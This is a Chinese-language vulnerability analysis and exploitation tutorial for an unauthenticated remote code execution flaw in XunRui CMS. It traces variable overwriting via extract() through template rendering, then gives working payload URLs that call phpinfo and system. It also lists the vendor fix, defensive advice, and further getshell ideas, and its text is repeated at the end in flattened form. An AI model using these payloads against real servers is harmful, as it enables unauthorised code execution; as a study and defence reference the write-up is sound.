某cms 前台RCE漏洞分析
字数 1131 2025-08-05 08:19:35

迅睿CMS前台RCE漏洞分析与利用教学

漏洞概述

迅睿CMS存在一个前台远程代码执行(RCE)漏洞,攻击者无需登录即可通过精心构造的请求在目标服务器上执行任意PHP代码。该漏洞源于模板渲染过程中的变量覆盖问题,结合动态调用机制导致代码执行。

漏洞原理分析

1. 控制器动态调用机制

迅睿CMS的s参数可以控制访问的控制器所在目录,通过以下URL格式可以进入api文件夹调用任意控制器:

index.php?s=api&c=xxx

2. 模板方法调用

Api控制器的template方法可以动态调用模板,该方法接受以下可控参数:

  • name - 模板文件名
  • phpcmf_dir - 模板目录
  • app - 应用模块

3. 变量覆盖漏洞

关键漏洞点在于extract()函数的使用:

extract($this->_options, EXTR_OVERWRITE);

此处的$this->_options可以通过GET参数控制,导致变量覆盖。

4. 模板文件解析流程

  1. 通过Service::V()返回View对象
  2. 使用assign()方法将数据写入$this->_options
  3. 调用display()方法渲染模板
  4. 在渲染过程中存在变量覆盖

5. 文件包含限制

虽然文件名不能包含/防止目录穿越,但可以通过控制$phpcmf_dir参数来指定模板目录(如admin目录)。

漏洞利用步骤

1. 识别可利用模板

通过分析,发现api_related.html模板文件被解析后会调用危险方法:

$this->call_user_func_array($system['action'], $param);

2. 参数构造技巧

  • 使用空格分隔多个参数
  • 使用=号分隔键值对
  • 通过重复参数实现覆盖(如先设置action=module再设置action=function

3. 最终Payload构造

http://target.com/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1

4. 执行系统命令

phpinfo替换为system可以执行系统命令:

&mid=%20action=function%20name=system%20param0=calc

漏洞修复方案

厂商修复措施:

  1. 修改extract函数的type参数,设置为跳过已有变量
  2. 移除$phpcmf_dir参数的可控性

修复commit:
https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51

渗透测试建议

  1. 使用php://filter协议可能实现getshell
  2. 文件上传点的过滤不严谨,可结合利用
  3. 存在其他可包含文件的模板,可进一步挖掘

防御建议

  1. 及时更新到最新版本
  2. 对用户输入进行严格过滤
  3. 避免使用extract()函数或设置EXTR_SKIP标志
  4. 限制模板文件的调用范围

总结

该漏洞利用难度低但危害大,通过变量覆盖结合模板解析机制实现RCE。白帽子在发现此类漏洞时应及时联系厂商修复,同时注意保留漏洞分析资料供学习研究。

迅睿CMS前台RCE漏洞分析与利用教学 漏洞概述 迅睿CMS存在一个前台远程代码执行(RCE)漏洞,攻击者无需登录即可通过精心构造的请求在目标服务器上执行任意PHP代码。该漏洞源于模板渲染过程中的变量覆盖问题,结合动态调用机制导致代码执行。 漏洞原理分析 1. 控制器动态调用机制 迅睿CMS的 s 参数可以控制访问的控制器所在目录,通过以下URL格式可以进入api文件夹调用任意控制器: 2. 模板方法调用 Api控制器的 template 方法可以动态调用模板,该方法接受以下可控参数: name - 模板文件名 phpcmf_dir - 模板目录 app - 应用模块 3. 变量覆盖漏洞 关键漏洞点在于 extract() 函数的使用: 此处的 $this->_options 可以通过GET参数控制,导致变量覆盖。 4. 模板文件解析流程 通过 Service::V() 返回View对象 使用 assign() 方法将数据写入 $this->_options 调用 display() 方法渲染模板 在渲染过程中存在变量覆盖 5. 文件包含限制 虽然文件名不能包含 / 防止目录穿越,但可以通过控制 $phpcmf_dir 参数来指定模板目录(如 admin 目录)。 漏洞利用步骤 1. 识别可利用模板 通过分析,发现 api_related.html 模板文件被解析后会调用危险方法: 2. 参数构造技巧 使用空格分隔多个参数 使用 = 号分隔键值对 通过重复参数实现覆盖(如先设置 action=module 再设置 action=function ) 3. 最终Payload构造 4. 执行系统命令 将 phpinfo 替换为 system 可以执行系统命令: 漏洞修复方案 厂商修复措施: 修改 extract 函数的type参数,设置为跳过已有变量 移除 $phpcmf_dir 参数的可控性 修复commit: https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51 渗透测试建议 使用 php://filter 协议可能实现getshell 文件上传点的过滤不严谨,可结合利用 存在其他可包含文件的模板,可进一步挖掘 防御建议 及时更新到最新版本 对用户输入进行严格过滤 避免使用 extract() 函数或设置 EXTR_SKIP 标志 限制模板文件的调用范围 总结 该漏洞利用难度低但危害大,通过变量覆盖结合模板解析机制实现RCE。白帽子在发现此类漏洞时应及时联系厂商修复,同时注意保留漏洞分析资料供学习研究。